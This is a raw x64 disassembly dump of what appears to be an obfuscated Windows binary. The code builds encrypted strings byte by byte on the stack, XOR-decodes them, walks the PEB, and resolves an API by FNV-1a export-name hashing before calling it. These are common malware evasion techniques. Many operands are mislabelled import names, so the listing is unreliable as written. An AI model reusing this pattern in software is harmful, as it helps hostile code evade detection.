mov byte [rbp + 0x197], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x198], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0x199], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x19a], WSASetLastError
mov byte [rbp + 0x19b], 0x76
mov byte [rbp + 0x19c], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x19d], WSASetLastError
mov byte [rbp + 0x19e], 0x63
mov byte [rbp + 0x19f], 0x5f
movzx eax, byte [rbp + 0x114]
lea rax, [rbp + 0x114]
sub r10, rax
nop dword [rax]
nop word [rax + rax]
mov rcx, r9
lea rdx, [rbp + 0x114]
add rdx, r9
and ecx, r12d
cmp rcx, r12
mov rax, r11
cmovae rcx, r12
movsx r8, byte [rdx]
add dl, r10b
shl cl, 2
shr rax, cl
and al, r12b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x114], al
inc r9
cmp r9, 0x8c
jb 0x140046100
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1400461d7
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1400461d7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400461d2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1400461b0
cmp r8d, 0x491e0a9c
je 0x1400461dc
test r9d, r9d
jne 0x140046190
mov rax, qword [rax]
jmp 0x140046160
mov eax, dword [rbx + 0x24]
mov ecx, dword [rbx + 0x1c]
add rax, r10
add rcx, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
lea rcx, [rbp + 0x114]
add rdx, r10
call rdx
mov byte [rbp + 0x8c], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0x8d], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x8e], 0x3d
mov byte [rbp + 0x8f], 0x78
mov byte [rbp + 0x90], Ordinal_50
mov byte [rbp + 0x91], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x92], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x93], 0x78
mov byte [rbp + 0x94], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x95], reloc.WS2_32.dll_select
mov byte [rbp + 0x96], Ordinal_32
mov byte [rbp + 0x97], Ordinal_26
mov byte [rbp + 0x98], 7
mov byte [rbp + 0x99], ntohl
mov byte [rbp + 0x9a], sil
mov byte [rbp + 0x9b], 0xa
mov byte [rbp + 0x9c], 4
mov byte [rbp + 0x9d], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x9e], Ordinal_45
mov byte [rbp + 0x9f], gethostname
mov byte [rbp + 0xa0], Ordinal_45
mov byte [rbp + 0xa1], ntohl
mov byte [rbp + 0xa2], Ordinal_32
mov byte [rbp + 0xa3], ntohl
mov byte [rbp + 0xa4], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0xa5], 8
mov byte [rbp + 0xa6], reloc.WS2_32.dll_send
mov byte [rbp + 0xa7], 1
mov byte [rbp + 0xa8], Ordinal_45
mov byte [rbp + 0xa9], 7
mov byte [rbp + 0xaa], 7
mov byte [rbp + 0xab], r12b
mov byte [rbp + 0xac], 9
mov byte [rbp + 0xad], ntohl
mov byte [rbp + 0xae], 0x5a
mov byte [rbp + 0xaf], 0x57
mov byte [rbp + 0xb0], 6
mov byte [rbp + 0xb1], 0x5d
mov byte [rbp + 0xb2], Ordinal_50
mov byte [rbp + 0xb3], Ordinal_26
mov byte [rbp + 0xb4], reloc.WS2_32.dll_ntohl
mov byte [rbp + 0xb5], reloc.WS2_32.dll_listen
mov byte [rbp + 0xb6], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0xb7], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0xb8], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xb9], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0xba], reloc.WS2_32.dll_recv
mov byte [rbp + 0xbb], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0xbc], 0x50
mov byte [rbp + 0xbd], 0x54
mov byte [rbp + 0xbe], 0xfe
mov byte [rbp + 0xbf], 0xa8
mov byte [rbp + 0xc0], Ordinal_211
mov byte [rbp + 0xc1], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0xc2], 0xca
mov byte [rbp + 0xc3], Ordinal_217
mov byte [rbp + 0xc4], 0xde
mov byte [rbp + 0xc5], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xc6], 0xa1
mov byte [rbp + 0xc7], 0xab
mov byte [rbp + 0xc8], 0xef
mov byte [rbp + 0xc9], 0xa8
mov byte [rbp + 0xca], 0xac
mov byte [rbp + 0xcb], 0xfb
mov byte [rbp + 0xcc], 0xe1
mov byte [rbp + 0xcd], 0xe5
mov byte [rbp + 0xce], 0xfe
mov byte [rbp + 0xcf], 0xf7
mov byte [rbp + 0xd0], 0xfd
mov byte [rbp + 0xd1], 0xb8
mov byte [rbp + 0xd2], 0xb8
mov byte [rbp + 0xd3], 0xea
mov byte [rbp + 0xd4], 0xfc
movabs r11, 0x4531d9ebd9e29a4e
mov byte [rbp + 0xd5], 0xf7
mov r10, r11
mov byte [rbp + 0xd6], 0xf5
mov r9, rsi
mov byte [rbp + 0xd7], 0xfb
mov byte [rbp + 0xd8], 0xf6
mov byte [rbp + 0xd9], 0xbd
mov byte [rbp + 0xda], 0xb4
mov byte [rbp + 0xdb], 0xbc
mov byte [rbp + 0xdc], 0xe2
mov byte [rbp + 0xdd], 0xfa
mov byte [rbp + 0xde], Ordinal_200
mov byte [rbp + 0xdf], 0xcc
mov byte [rbp + 0xe0], Ordinal_211
mov byte [rbp + 0xe1], 0xc0
mov byte [rbp + 0xe2], 0x88
mov byte [rbp + 0xe3], 0x85
mov byte [rbp + 0xe4], 0x88
mov byte [rbp + 0xe5], 0xdb
mov byte [rbp + 0xe6], 0xc0
mov byte [rbp + 0xe7], 0xca
mov byte [rbp + 0xe8], Ordinal_211
mov byte [rbp + 0xe9], Ordinal_200
mov byte [rbp + 0xea], Ordinal_200
mov byte [rbp + 0xeb], Ordinal_143
mov byte [rbp + 0xec], Ordinal_143
mov byte [rbp + 0xed], Ordinal_143
mov byte [rbp + 0xee], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0xef], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0xf0], 0xde
mov byte [rbp + 0xf1], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0xf2], Ordinal_211
mov byte [rbp + 0xf3], Ordinal_217
mov byte [rbp + 0xf4], 0x98
mov byte [rbp + 0xf5], __WSAFDIsSet
mov byte [rbp + 0xf6], __WSAFDIsSet
mov byte [rbp + 0xf7], Ordinal_200
mov byte [rbp + 0xf8], 0xda
mov byte [rbp + 0xf9], Ordinal_217
mov byte [rbp + 0xfa], 0xdd
mov byte [rbp + 0xfb], Ordinal_217
mov byte [rbp + 0xfc], 0xdd
mov byte [rbp + 0xfd], 0x9e
mov byte [rbp + 0xfe], 0xef
mov byte [rbp + 0xff], 0xba
mov byte [rbp + 0x100], 0xa1
mov byte [rbp + 0x101], 0xa3
mov byte [rbp + 0x102], 0xa9
mov byte [rbp + 0x103], 0xa7
mov byte [rbp + 0x104], 0xa0
mov byte [rbp + 0x105], 0xec
mov byte [rbp + 0x106], 0xe1
mov byte [rbp + 0x107], 0xeb
mov byte [rbp + 0x108], 0xad
mov byte [rbp + 0x109], 0xe8
mov byte [rbp + 0x10a], 0xf7
mov byte [rbp + 0x10b], 0xa7
mov byte [rbp + 0x10c], 0xb5
mov byte [rbp + 0x10d], 0xa7
mov byte [rbp + 0x10e], 0xfa
mov byte [rbp + 0x10f], 0xea
mov byte [rbp + 0x110], 0xee
mov byte [rbp + 0x111], 0xfb
mov byte [rbp + 0x112], 0xec
mov byte [rbp + 0x113], Ordinal_217
movzx eax, byte [rbp + 0x8c]
lea rax, [rbp + 0x8c]
sub r10, rax
nop word [rax + rax]
mov rcx, r9
lea rdx, [rbp + 0x8c]
add rdx, r9
and ecx, r12d
cmp rcx, r12
mov rax, r11
cmovae rcx, r12
movsx r8, byte [rdx]
add dl, r10b
shl cl, 2
shr rax, cl
and al, r12b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x8c], al
inc r9
cmp r9, 0x88
jb 0x1400465e0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1400466b7
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1400466b7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400466b2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140046690
cmp r8d, 0x491e0a9c
je 0x1400466bc
test r9d, r9d
jne 0x140046670
mov rax, qword [rax]
jmp 0x140046640
mov eax, dword [rbx + 0x24]
mov ecx, dword [rbx + 0x1c]
add rax, r10
add rcx, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
lea rcx, [rbp + 0x8c]
add rdx, r10
call rdx
mov byte [rbp + 0x2c1], 2
mov byte [rbp + 0x2c2], reloc.WS2_32.dll_send
mov byte [rbp + 0x2c3], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x2c4], 0x5d
mov byte [rbp + 0x2c5], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x2c6], reloc.WS2_32.dll_select
mov byte [rbp + 0x2c7], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x2c8], 0x57
mov byte [rbp + 0x2c9], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0x2ca], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x2cb], gethostname
mov byte [rbp + 0x2cc], Ordinal_60
mov byte [rbp + Ordinal_45d], 0x2c
mov byte [rbp + 0x2ce], Ordinal_45
mov byte [rbp + 0x2cf], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0x2d0], 0x3f
mov byte [rbp + 0x2d1], Ordinal_217
mov byte [rbp + 0x2d2], Ordinal_211
mov byte [rbp + 0x2d3], Ordinal_200
mov byte [rbp + 0x2d4], 0xdf
mov byte [rbp + 0x2d5], 0xca
mov byte [rbp + 0x2d6], 0xda
mov byte [rbp + 0x2d7], 0xcb
mov byte [rbp + 0x2d8], Ordinal_211
mov byte [rbp + 0x2d9], Ordinal_200
mov byte [rbp + 0x2da], Ordinal_200
mov byte [rbp + 0x2db], 0xc1
mov byte [rbp + 0x2dc], 0xcb
mov byte [rbp + 0x2dd], 0xa2
mov byte [rbp + 0x2de], 0xab
mov byte [rbp + 0x2df], 0xaf
mov byte [rbp + 0x2e0], 0xca
mov byte [rbp + 0x2e1], 0xff
mov byte [rbp + 0x2e2], 0xe4
mov byte [rbp + 0x2e3], 0xe2
mov byte [rbp + 0x2e4], 0xf2
mov byte [rbp + 0x2e5], 0xed
mov byte [rbp + 0x2e6], 0xf7
mov byte [rbp + 0x2e7], 0xe1
mov byte [rbp + 0x2e8], 0xfe
mov byte [rbp + 0x2e9], 0xf5
mov byte [rbp + 0x2ea], 0xf9
mov byte [rbp + 0x2eb], Ordinal_200
mov byte [rbp + 0x2ec], 0xdd
mov byte [rbp + 0x2ed], 0xfc
mov byte [rbp + 0x2ee], 0xf4
mov byte [rbp + 0x2ef], 0xff
mov byte [rbp + 0x2f0], 0xf8
mov byte [rbp + 0x2f1], 0xcc
mov byte [rbp + 0x2f2], 0x86
mov byte [rbp + 0x2f3], Ordinal_143
mov byte [rbp + 0x2f4], 0xdb
mov byte [rbp + 0x2f5], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x2f6], 0xe5
mov byte [rbp + 0x2f7], 0xc9
mov byte [rbp + 0x2f8], Ordinal_211
mov byte [rbp + 0x2f9], Ordinal_211
mov byte [rbp + 0x2fa], 0xc9
mov byte [rbp + 0x2fb], 0xdc
mov byte [rbp + 0x2fc], 0xff
mov byte [rbp + 0x2fd], 0xf5
mov byte [rbp + 0x2fe], 0xe2
mov byte [rbp + 0x2ff], 0xe9
mov byte [rbp + 0x300], Ordinal_143
mov byte [rbp + 0x301], 0x9f
mov byte [rbp + 0x302], Ordinal_200
mov byte [rbp + 0x303], __WSAFDIsSet
mov byte [rbp + 0x304], 0xef
mov byte [rbp + 0x305], 0xfa
mov byte [rbp + 0x306], 0xf1
mov byte [rbp + 0x307], 0xea
mov byte [rbp + 0x308], 0xe4
mov byte [rbp + 0x309], 0xe0
mov r9, rsi
mov byte [rbp + 0x30a], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x30b], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x30c], 0xde
mov byte [rbp + 0x30d], 0x90
mov byte [rbp + 0x30e], 0x9e
mov byte [rbp + 0x30f], Ordinal_211
mov byte [rbp + 0x310], Ordinal_217
mov byte [rbp + 0x311], 0xae
mov byte [rbp + 0x312], 0xa2
mov byte [rbp + 0x313], 0xad
mov byte [rbp + 0x314], 0xa0
mov byte [rbp + 0x315], 0xea
mov byte [rbp + 0x316], 0xe3
mov byte [rbp + 0x317], 0xb7
mov byte [rbp + 0x318], 0xa6
mov byte [rbp + 0x319], 0xa4
mov byte [rbp + 0x31a], 0xa3
mov byte [rbp + 0x31b], 0xa7
mov byte [rbp + 0x31c], 0xa7
mov byte [rbp + 0x31d], 0xe5
mov byte [rbp + 0x31e], 0xe6
mov byte [rbp + 0x31f], 0xe8
mov byte [rbp + 0x320], 0xbb
mov byte [rbp + 0x321], 0xb1
mov byte [rbp + 0x322], 0xb8
mov byte [rbp + 0x323], 0xb6
mov byte [rbp + 0x324], 0xb2
mov byte [rbp + 0x325], 0xb2
mov byte [rbp + 0x326], 0xf3
mov byte [rbp + 0x327], 0xf8
mov byte [rbp + 0x328], 0xf2
mov byte [rbp + 0x329], 0xa8
mov byte [rbp + 0x32a], 0xb6
mov byte [rbp + 0x32b], 0xb6
mov byte [rbp + 0x32c], 0xbe
mov byte [rbp + 0x32d], 0xbf
mov byte [rbp + 0x32e], 0xb6
mov byte [rbp + 0x32f], 0xf8
mov byte [rbp + 0x330], 0xf4
mov byte [rbp + 0x331], Ordinal_200
mov byte [rbp + 0x332], __WSAFDIsSet
mov byte [rbp + 0x333], 0x83
mov byte [rbp + 0x334], 0x83
mov byte [rbp + 0x335], Ordinal_143
mov byte [rbp + 0x336], Ordinal_143
mov byte [rbp + 0x337], 0x88
mov byte [rbp + 0x338], Ordinal_200
mov byte [rbp + 0x339], Ordinal_200
mov byte [rbp + 0x33a], Ordinal_200
mov byte [rbp + 0x33b], 0x9a
mov byte [rbp + 0x33c], Ordinal_143
mov byte [rbp + 0x33d], Ordinal_143
mov byte [rbp + 0x33e], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x33f], 0x82
mov byte [rbp + 0x340], 0x84
mov byte [rbp + 0x341], Ordinal_217
mov byte [rbp + 0x342], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x343], 0x80
mov byte [rbp + 0x344], 0x9c
mov byte [rbp + 0x345], __WSAFDIsSet
mov byte [rbp + 0x346], __WSAFDIsSet
mov byte [rbp + 0x347], 0x9a
mov byte [rbp + 0x348], 0x9a
mov byte [rbp + 0x349], 0xdf
mov byte [rbp + 0x34a], Ordinal_217
mov byte [rbp + 0x34b], Ordinal_217
mov byte [rbp + 0x34c], 0x9c
mov byte [rbp + 0x34d], Ordinal_211
mov byte [rbp + 0x34e], Ordinal_200
mov byte [rbp + 0x34f], __WSAFDIsSet
mov byte [rbp + 0x350], Ordinal_143
mov byte [rbp + 0x351], WSASetLastError
mov byte [rbp + 0x352], Ordinal_41
mov byte [rbp + 0x353], Ordinal_50
mov byte [rbp + 0x354], gethostname
mov byte [rbp + 0x355], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x356], Ordinal_60
mov byte [rbp + 0x357], 5
movzx eax, byte [rbp + 0x2c1]
movabs r11, 0x636c12e2033be070
lea rax, [rbp + 0x2c1]
mov r10, r11
sub r10, rax
nop
mov rcx, r9
lea rdx, [rbp + 0x2c1]
add rdx, r9
and ecx, r12d
cmp rcx, r12
mov rax, r11
cmovae rcx, r12
movsx r8, byte [rdx]
add dl, r10b
shl cl, 2
shr rax, cl
and al, r12b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x2c1], al
inc r9
cmp r9, 0x97
jb 0x140046b20
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140046bf7
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140046bf7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140046bf2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140046bd0
cmp r8d, 0x491e0a9c
je 0x140046bfc
test r9d, r9d
jne 0x140046bb0
mov rax, qword [rax]
jmp 0x140046b80
mov eax, dword [rbx + 0x24]
mov ecx, dword [rbx + 0x1c]
add rax, r10
add rcx, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
lea rcx, [rbp + 0x2c1]
add rdx, r10
call rdx
mov byte [rbp + 0x498], 0xf2
mov byte [rbp + 0x499], 0xe2
mov byte [rbp + 0x49a], 0xf4
mov byte [rbp + 0x49b], 0xb9
mov byte [rbp + 0x49c], 0xfe
mov byte [rbp + 0x49d], 0xf2
mov byte [rbp + 0x49e], 0xfd
mov byte [rbp + 0x49f], 0xb4
mov byte [rbp + 0x4a0], 0xdd
mov byte [rbp + 0x4a1], Ordinal_211
mov byte [rbp + 0x4a2], Ordinal_211
mov byte [rbp + 0x4a3], Ordinal_211
mov byte [rbp + 0x4a4], 0xcc
mov byte [rbp + 0x4a5], Ordinal_200
mov byte [rbp + 0x4a6], 0xda
mov byte [rbp + 0x4a7], Ordinal_217
mov byte [rbp + 0x4a8], Ordinal_200
mov byte [rbp + 0x4a9], 0xc0
mov byte [rbp + 0x4aa], 0xe2
mov byte [rbp + 0x4ab], 0xfb
mov byte [rbp + 0x4ac], 0xea
mov byte [rbp + 0x4ad], 0xfa
mov byte [rbp + 0x4ae], 0xe7
mov byte [rbp + 0x4af], 0xf2
mov byte [rbp + 0x4b0], 0xec
mov byte [rbp + 0x4b1], 0xed
mov byte [rbp + 0x4b2], 0xe7
mov byte [rbp + 0x4b3], 0xee
mov byte [rbp + 0x4b4], 0x82
mov byte [rbp + 0x4b5], 0x80
mov byte [rbp + 0x4b6], 0x87
mov byte [rbp + 0x4b7], 0xe2
mov byte [rbp + 0x4b8], Ordinal_211
mov byte [rbp + 0x4b9], Ordinal_217
mov byte [rbp + 0x4ba], Ordinal_200
mov byte [rbp + 0x4bb], Ordinal_217
mov byte [rbp + 0x4bc], Ordinal_211
mov byte [rbp + 0x4bd], Ordinal_217
mov byte [rbp + 0x4be], Ordinal_211
mov byte [rbp + 0x4bf], 0xdd
mov byte [rbp + 0x4c0], 0xda
mov byte [rbp + 0x4c1], Ordinal_217
mov byte [rbp + 0x4c2], 0xe2
mov byte [rbp + 0x4c3], 0xf8
mov byte [rbp + 0x4c4], 0xdc
mov byte [rbp + 0x4c5], 0xdf
mov byte [rbp + 0x4c6], Ordinal_217
mov byte [rbp + 0x4c7], Ordinal_211
mov byte [rbp + 0x4c8], 0xdc
mov byte [rbp + 0x4c9], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x4ca], 0xec
mov byte [rbp + 0x4cb], 0xbf
mov byte [rbp + 0x4cc], 0xef
mov byte [rbp + 0x4cd], __WSAFDIsSet
mov byte [rbp + 0x4ce], 0xac
mov byte [rbp + 0x4cf], 0xb6
mov byte [rbp + 0x4d0], 0xb6
mov byte [rbp + 0x4d1], 0xa0
mov byte [rbp + 0x4d2], 0xbd
mov byte [rbp + 0x4d3], 0xbb
mov byte [rbp + 0x4d4], 0xa5
mov byte [rbp + 0x4d5], 0xae
mov byte [rbp + 0x4d6], 0xa6
mov byte [rbp + 0x4d7], 0xa4
mov byte [rbp + 0x4d8], Ordinal_143
mov byte [rbp + 0x4d9], 0xa3
mov byte [rbp + 0x4da], 0xb6
mov byte [rbp + 0x4db], 0xb7
mov byte [rbp + 0x4dc], 0xab
mov byte [rbp + 0x4dd], 0xbf
mov byte [rbp + 0x4de], 0xbf
mov byte [rbp + 0x4df], 0xbd
mov byte [rbp + 0x4e0], 0xb0
mov byte [rbp + 0x4e1], 0xab
mov byte [rbp + 0x4e2], 0xfe
mov byte [rbp + 0x4e3], 0xf0
mov byte [rbp + 0x4e4], 0xa4
mov byte [rbp + 0x4e5], 0xf0
mov byte [rbp + 0x4e6], 0x87
mov byte [rbp + 0x4e7], __WSAFDIsSet
mov byte [rbp + 0x4e8], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x4e9], 0x88
mov byte [rbp + 0x4ea], 0xb0
mov byte [rbp + 0x4eb], 0xb3
mov byte [rbp + 0x4ec], Ordinal_211
mov byte [rbp + 0x4ed], 0xc9
mov byte [rbp + 0x4ee], Ordinal_143
mov byte [rbp + 0x4ef], Ordinal_200
mov byte [rbp + 0x4f0], 0xc0
mov byte [rbp + 0x4f1], 0x9b
mov byte [rbp + 0x4f2], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x4f3], 0x81
mov byte [rbp + 0x4f4], 0x84
mov byte [rbp + 0x4f5], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x4f6], 0x88
mov byte [rbp + 0x4f7], Ordinal_200
mov byte [rbp + 0x4f8], Ordinal_200
mov byte [rbp + 0x4f9], __WSAFDIsSet
mov byte [rbp + 0x4fa], __WSAFDIsSet
mov byte [rbp + 0x4fb], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x4fc], 0x9b
mov byte [rbp + 0x4fd], 0x99
mov byte [rbp + 0x4fe], __WSAFDIsSet
mov byte [rbp + 0x4ff], Ordinal_211
mov byte [rbp + 0x500], Ordinal_217
mov byte [rbp + 0x501], 0xdc
mov byte [rbp + 0x502], Ordinal_143
mov byte [rbp + 0x503], 0x9e
mov byte [rbp + 0x504], 0x9e
mov byte [rbp + 0x505], __WSAFDIsSet
mov byte [rbp + 0x506], 0x9a
mov byte [rbp + 0x507], 0x9c
mov byte [rbp + 0x508], Ordinal_217
mov byte [rbp + 0x509], 0xda
mov byte [rbp + 0x50a], Ordinal_41
mov byte [rbp + 0x50b], 0x7b
mov byte [rbp + 0x50c], WSACleanup
mov byte [rbp + 0x50d], 0x68
mov byte [rbp + 0x50e], WSASetLastError
mov byte [rbp + 0x50f], WSASetLastError
mov byte [rbp + 0x510], 0x68
mov byte [rbp + 0x511], Ordinal_45
mov byte [rbp + 0x512], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x513], Ordinal_45
mov byte [rbp + 0x514], WSACleanup
mov byte [rbp + 0x515], 0x61
mov byte [rbp + 0x516], WSASetLastError
mov byte [rbp + 0x517], 0x65
mov byte [rbp + 0x518], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x519], WSASetLastError
mov byte [rbp + 0x51a], Ordinal_60
mov byte [rbp + 0x51b], gethostname
mov byte [rbp + 0x51c], Ordinal_60
mov byte [rbp + 0x51d], 0x64
mov byte [rbp + 0x51e], 0x78
mov byte [rbp + 0x51f], 0x7a
mov byte [rbp + 0x520], WSACleanup
mov byte [rbp + 0x521], 0x76
mov byte [rbp + 0x522], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x523], Ordinal_60
mov byte [rbp + 0x524], gethostname
mov byte [rbp + 0x525], 0x62
mov byte [rbp + 0x526], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x527], 0x7f
mov byte [rbp + 0x528], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x529], 0x78
mov byte [rbp + 0x52a], Ordinal_79
mov byte [rbp + 0x52b], ntohl
mov byte [rbp + 0x52c], r12b
mov byte [rbp + 0x52d], 9
mov byte [rbp + 0x52e], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x52f], 4
mov byte [rbp + 0x530], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x531], 0x47
movabs r14, 0xc9ba66e31d5d838e
mov byte [rbp + 0x532], 0x5b
mov r10, r14
mov byte [rbp + 0x533], 0x43
mov r9, rsi
mov byte [rbp + 0x534], sil
mov byte [rbp + 0x535], reloc.WS2_32.dll_select
mov byte [rbp + 0x536], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x537], 7
mov byte [rbp + 0x538], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x539], Ordinal_45
movzx eax, byte [rbp + 0x498]
lea rax, [rbp + 0x498]
sub r10, rax
nop dword [rax + rax]
mov rcx, r9
lea rdx, [rbp + 0x498]
add rdx, r9
and ecx, r12d
cmp rcx, r12
mov rax, r14
cmovae rcx, r12
movsx r8, byte [rdx]
add dl, r10b
shl cl, 2
shr rax, cl
and al, r12b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x498], al
inc r9
cmp r9, 0xa2
jb 0x1400470b0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140047187
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140047187
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140047182
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140047160
cmp r8d, 0x491e0a9c
je 0x14004718c
test r9d, r9d
jne 0x140047140
mov rax, qword [rax]
jmp 0x140047110
mov eax, dword [rbx + 0x24]
mov ecx, dword [rbx + 0x1c]
add rax, r10
add rcx, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
lea rcx, [rbp + 0x498]
add rdx, r10
call rdx
mov byte [rbp + 0x86f], Ordinal_211
mov byte [rbp + 0x870], Ordinal_200
mov byte [rbp + 0x871], 0xc1
mov byte [rbp + 0x872], Ordinal_143
mov byte [rbp + 0x873], Ordinal_211
mov byte [rbp + 0x874], 0xdf
mov byte [rbp + 0x875], Ordinal_217
mov byte [rbp + 0x876], 0x9c
mov byte [rbp + 0x877], 0xf5
mov byte [rbp + 0x878], 0xf9
mov byte [rbp + 0x879], 0xf8
mov byte [rbp + 0x87a], 0xfa
mov byte [rbp + 0x87b], 0xee
mov byte [rbp + 0x87c], 0xe2
mov byte [rbp + 0x87d], 0xf6
mov byte [rbp + 0x87e], 0xff
mov byte [rbp + 0x87f], 0xe4
mov byte [rbp + 0x880], 0xe0
mov byte [rbp + 0x881], 0xf7
mov byte [rbp + 0x882], 0xe9
mov byte [rbp + 0x883], 0x84
mov byte [rbp + 0x884], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x885], 0x82
mov byte [rbp + 0x886], 0x9a
mov byte [rbp + 0x887], 0x84
mov byte [rbp + 0x888], 0x86
mov byte [rbp + 0x889], Ordinal_143
mov byte [rbp + 0x88a], 0x86
mov byte [rbp + 0x88b], 0xe0
mov byte [rbp + 0x88c], 0xe1
mov byte [rbp + 0x88d], 0xeb
mov byte [rbp + 0x88e], Ordinal_143
mov byte [rbp + 0x88f], 0xaf
mov byte [rbp + 0x890], 0xb5
mov byte [rbp + 0x891], 0xb6
mov byte [rbp + 0x892], 0xa4
mov byte [rbp + 0x893], 0xa3
mov byte [rbp + 0x894], 0xba
mov byte [rbp + 0x895], 0xa8
mov byte [rbp + 0x896], 0xb5
mov byte [rbp + 0x897], 0xb2
mov byte [rbp + 0x898], 0xbc
mov byte [rbp + 0x899], 0x88
mov byte [rbp + 0x89a], 0x90
